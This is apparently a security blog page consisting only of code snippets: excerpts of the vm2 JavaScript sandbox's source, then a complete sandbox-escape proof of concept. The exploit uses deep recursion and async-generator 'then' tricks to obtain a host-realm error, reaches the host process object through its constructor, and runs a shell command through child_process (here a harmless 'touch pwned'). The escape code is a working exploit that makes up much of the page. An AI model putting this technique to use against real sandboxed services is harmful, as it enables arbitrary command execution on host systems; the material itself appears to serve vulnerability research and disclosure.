萦梦sora~Nyaの安全Blog

1
run(code, options) {
2
  let script;
3
  let filename;
4

5
  if (typeof options === 'object') {
6
    filename = options.filename;
7
  } else {
8
    filename = options;
9
  }
10

11
  if (code instanceof VMScript) {
12
    script = code._compileVM();
13
    checkAsync(this._allowAsync || !code._hasAsync);
14
  } else {
15
    const useFileName = filename || 'vm.js';
16
    let scriptCode = this._compiler(code, useFileName);
17
    const ret = transformer(null, scriptCode, false, false, useFileName);
18
    scriptCode = ret.code;
19
    checkAsync(this._allowAsync || !ret.hasAsync);
20
    // Compile the script here so that we don't need to create a instance of VMScript.
21
    script = new Script(scriptCode, {
22
      __proto__: null,
23
      filename: useFileName,
24
      displayErrors: false,
25
    });
26
  }

1
acornWalkFull(ast, (node, state, type) => {
2
        if (type === 'Function') {
3
            if (node.async) hasAsync = true;
4
        }
5
        const nodeType = node.type;
6
        if (nodeType === 'CatchClause') {
7
            const param = node.param;
8
            if (param) {
9
                if (param.type === 'Identifier') {
10
                    const name = assertType(param, 'Identifier').name;
11
                    const cBody = assertType(node.body, 'BlockStatement');
12
                    if (cBody.body.length > 0) {
13
                        insertions.push({
14
                            __proto__: null,
15
                            pos: cBody.body[0].start,
16
                            order: TO_LEFT,
17
                            coder: () => `name={INTERNAL_STATE_NAME}.handleException(${name});`
18
                        });
19
                    }
20
                } else {
21
                    insertions.push({
22
                        __proto__: null,
23
                        pos: node.start,
24
                        order: TO_RIGHT,
25
                        coder: () => `catch(${tmpname}){tmpname={INTERNAL_STATE_NAME}.handleException(${tmpname});try{throw ${tmpname};}`
26
                    });
27
                    insertions.push({
28
                        __proto__: null,
29
                        pos: node.body.end,
30
                        order: TO_LEFT,
31
                        coder: () => `}`
32
                    });
33
                }
34
            }

1
class E extends Error {}
2

3
function so(d) {
4
    if (d > 0) so(d - 1);
5

6
    const e = new E();
7
    e.stack;
8

9
    throw e;
10
}

1
async function* helper() {
2
    yield* {
3
        [Symbol.asyncIterator]: () => ({
4
            next: v => ({ value: v, done: false })
5
        })
6
    };
7
}
8

9
async function doCatch(f) {
10
    const i = helper();
11

12
    await i.next();
13

14
    const v = await i.return({
15
        then(r) {
16
            f();
17
            r();
18
        }
19
    });
20

21
    return v.value;
22
}
23

24
(async function f() {
25
    let min = 0;
26
    let max = 10000000;
27

28
    while (min < max) {
29
        const mid = (min + max) >> 1;
30

31
        const e = await doCatch(() => so(mid));
32

33
        if (e.name === "RangeError" && !(e instanceof RangeError)) {
34
            const process = e.constructor.constructor("return process")();
35
            const cp = process.mainModule.require("child_process");
36

37
            const cmd = process.platform === "win32"
38
                ? "cmd /c echo pwned>pwned.txt"
39
                : "touch pwned";
40

41
            cp.execSync(cmd);
42

43
            return "escaped";
44
        }
45

46
        if (e instanceof E) {
47
            min = mid + 1;
48
        } else {
49
            max = mid;
50
        }
51
    }
52

53
    return "not triggered";
54
})();

1
i.return({
2
        then(r) {
3
            f();
4
            r();
5
        }
6
    });